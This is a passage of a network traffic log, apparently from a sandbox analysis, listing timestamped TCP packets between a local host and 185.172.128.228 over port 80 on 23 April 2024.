Apr 23, 2024 09:38:10.860707045 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860718966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860734940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860749960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860765934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860765934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860765934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860781908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860796928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860807896 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860814095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860829115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860845089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860852957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860860109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860874891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860892057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860897064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860897064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860908985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860918045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860933065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860948086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860964060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860965014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860965014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.860980034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.860996008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861011028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861011982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.861011982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.861027956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861047983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861063004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861078978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861082077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.861082077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.861094952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861109972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861125946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861143112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861150980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.861150980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.861160040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861176968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861192942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861205101 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.861205101 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.861210108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.861249924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.987596989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.027470112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.061525106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061552048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061568022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061584949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061599970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061615944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061633110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061650038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061666012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061681986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061697960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061713934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061729908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061745882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061760902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061777115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061780930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.061780930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.061791897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061803102 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.061808109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061824083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061840057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061849117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.061849117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.061856031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061872005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061886072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.061887980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061904907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061920881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061937094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061953068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061961889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.061961889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.061969042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061984062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.061990976 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062000036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062015057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062028885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062031984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062045097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062060118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062067986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062074900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062087059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062091112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062117100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062130928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062138081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062138081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062148094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062163115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062186956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062203884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062216997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062217951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062217951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062233925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062251091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062267065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062272072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062282085 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062306881 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062306881 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.062983036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.062999964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.063015938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.063030958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.063047886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.063064098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.063133001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.063133001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.108325005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192176104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192197084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192213058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192229033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192245007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192260981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192277908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192293882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192301035 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192311049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192327023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192342997 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192358017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192373991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192373991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192373991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192389011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192405939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192420959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192431927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192431927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192436934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192452908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192470074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192486048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192492008 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192492008 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192502975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192517996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192533970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192534924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192548990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192564964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192578077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192579985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192595959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192611933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192621946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192621946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192629099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192646027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192662954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192678928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192687035 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192687035 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192693949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192709923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192725897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192740917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192754030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192754030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192755938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192771912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192786932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192802906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192806005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192806005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192819118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192835093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192850113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192866087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192886114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192886114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192890882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192909002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192924023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192939997 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192945004 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192945004 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.192956924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192971945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.192986965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193001986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193017960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193027020 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193027020 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193032980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193048954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193065882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193069935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193069935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193082094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193098068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193114996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193120956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193130016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193145990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193161964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193176985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193176985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193176985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193193913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193211079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193212032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193228006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193243980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193243980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193259954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193274975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193290949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193293095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193293095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193306923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193322897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193339109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193356037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193361998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193361998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193372011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193387032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193403006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193411112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193419933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193435907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193444014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193451881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193466902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193483114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193486929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193497896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193500042 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193514109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193526983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193530083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193546057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193561077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193578005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193591118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193591118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193593025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193624973 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193627119 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193643093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193659067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193675041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193682909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193691015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193706989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193710089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193722963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193738937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193753004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193767071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193767071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193768978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193784952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193800926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193816900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193820953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193820953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193833113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193847895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193862915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193865061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193880081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193890095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193897009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193912983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193918943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193928957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193944931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193960905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193977118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.193989992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193989992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.193993092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194008112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194024086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194039106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194055080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194068909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194068909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194071054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194086075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194102049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194112062 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194112062 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194118023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194133043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194148064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194149017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194164991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194179058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194181919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194196939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194212914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194224119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194227934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194243908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194258928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194271088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194271088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194274902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194291115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194305897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194320917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194325924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194325924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194335938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194353104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194370031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194386959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194390059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194390059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.194401979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.194417953 CEST	80	49735	185.172.128.228	192.168.2.4
